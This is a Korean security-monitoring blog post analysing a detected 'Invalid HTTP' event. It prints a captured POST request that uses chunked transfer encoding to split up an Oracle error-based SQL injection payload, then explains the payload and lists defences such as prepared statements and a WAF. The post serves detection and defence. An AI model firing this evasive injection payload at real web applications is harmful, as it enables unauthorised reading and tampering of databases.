보안관제 이벤트 분석

[보안관제] 비정상 HTTP 요청 탐지(Invalid HTTP)

jarvis-concert 2024. 8. 30. 16:40
반응형

공격설명

요청 헤더의 필수 항목을 검사하여 비정상적인 HTTP 트래픽이 탐지되었습니다.
웹 브라우저에서 정상적으로 보내는 HTTP 요청문과 달리 요청 Header 필수요소가 누락되었거나 잘못되었을 경우

이를 탐지합니다.
이러한 트래픽은 대부분 취약점 스캔 및 크롤링(정보 수집)을 위한 자동화 도구나 봇 등에서 발생하기에

비정상 트래픽으로 간주할 수 있습니다.

 

공격구문

POST /proc/selectPackageList.do HTTP/1.1
Content-Length: 719
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.464.0 Safari/534.3
Referer: 
Host: 
Cookie: JSESSIONID\=45050A5F584D23410950FCB2D291315E.w1t20
Accept: */*
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset\=utf-8
Connection: close
Transfer-Encoding: chunked

1F;ENedGn44Av6wE2K
f_currPage\=-8245 OR 9514=
26;C8xcw3pCGlA9fzeJMsB
DBMS_UTILITY.SQLID_TO_SQLHASH(CHR(
1D;uxNIfgpV3XGiG9iAbMMbBUe9s
113)||CHR(112)|%7
2F;XZkKWlRRJf5vX6
CCHR(112)||CHR(107)||CHR(113%
1D;RqUl7pWls
29||(SELECT NVL(CAS
18;JondQiOCLldaIwGpvTKaN4yT4
T(COUNT(*) AS%
24;zyxa1D2hqoY8K
20VARCHAR(4000)),CHR(32)
35;UBS2irNfjmB0bwXiinlp
) FROM EXFSYS.SYS_IOT_OVER_70019)||CHR(
23;V68Fxj0OdqZqTBrSxAN
113)||CHR(122)||CHR%2
2D;MpKDrg1hrpdd
8112)||CHR(122)||CHR(113)%2
15;JI3DwDNMqkQZykqeHmb9O6I
9&f_lineCnt\=12&f_pkgC
1F;Z5XyVtZm1j1Wp4Mr6
ode\=1&txtFindText\=&txtFindType\=
0

 

취약한 부분 분석

  1. f_currPage=-8245 OR 9514=
    • 이 부분은 SQL 쿼리 내에서 논리적 조건을 추가해 쿼리 결과를 조작하려는 시도를 나타냅니다. -8245는 아마도 페이지 번호와 같은 숫자 값을 나타내야 할 부분이지만, 뒤에 OR 9514=라는 조건을 추가하여 쿼리를 변경하려 하고 있습니다. 이로 인해 데이터베이스 쿼리가 원래 의도된 대로 실행되지 않고 공격자가 원하는 결과를 반환할 수 있습니다.
  2. DBMS_UTILITY.SQLID_TO_SQLHASH(CHR( 등 문자 조합):
    • 이 부분은 데이터베이스 함수 호출을 통해 SQL 쿼리를 조작하려는 시도로 보입니다. CHR(113)과 같은 문자를 사용해 SQL 쿼리의 구성 요소를 동적으로 생성하여 악의적인 쿼리를 실행하려는 것입니다.
    • 예를 들어, CHR(113)는 아스키 코드 113에 해당하는 문자를 생성하는 함수로, SQL 쿼리 내에서 특정 문자열을 삽입하기 위해 사용될 수 있습니다.
  3. ||CHR(112)||CHR(107)||CHR(113%:
    • 이 부분은 문자 결합(||)을 통해 SQL 쿼리의 특정 값을 동적으로 생성하려는 시도로 보입니다. 이러한 문자 결합은 SQL 쿼리의 일부를 공격자가 원하는 대로 조작할 수 있게 합니다.

공격 결과

이러한 취약점을 통해 공격자는 다음과 같은 작업을 시도할 수 있다.

  • 데이터베이스로부터 민감한 데이터를 불법적으로 조회
  • 데이터베이스의 데이터를 변경 또는 삭제
  • 웹 애플리케이션의 정상적인 동작을 방해

대응 방법

  1. 입력값 검증: 모든 사용자 입력값을 철저하게 검증하고, 예상되는 범위를 벗어나는 값이나 특수 문자가 포함된 입력은 차단해야 합니다.
  2. 준비된 쿼리 사용: SQL 쿼리를 작성할 때, 사용자의 입력값을 쿼리에 직접 삽입하지 않고, 준비된 쿼리(prepared statements)나 ORM(Object-Relational Mapping) 등을 활용해 SQL 인젝션 공격을 방지할 수 있습니다.
  3. 웹 애플리케이션 방화벽(WAF): WAF를 사용해 SQL 인젝션과 같은 일반적인 공격 패턴을 탐지하고 차단할 수 있습니다.
반응형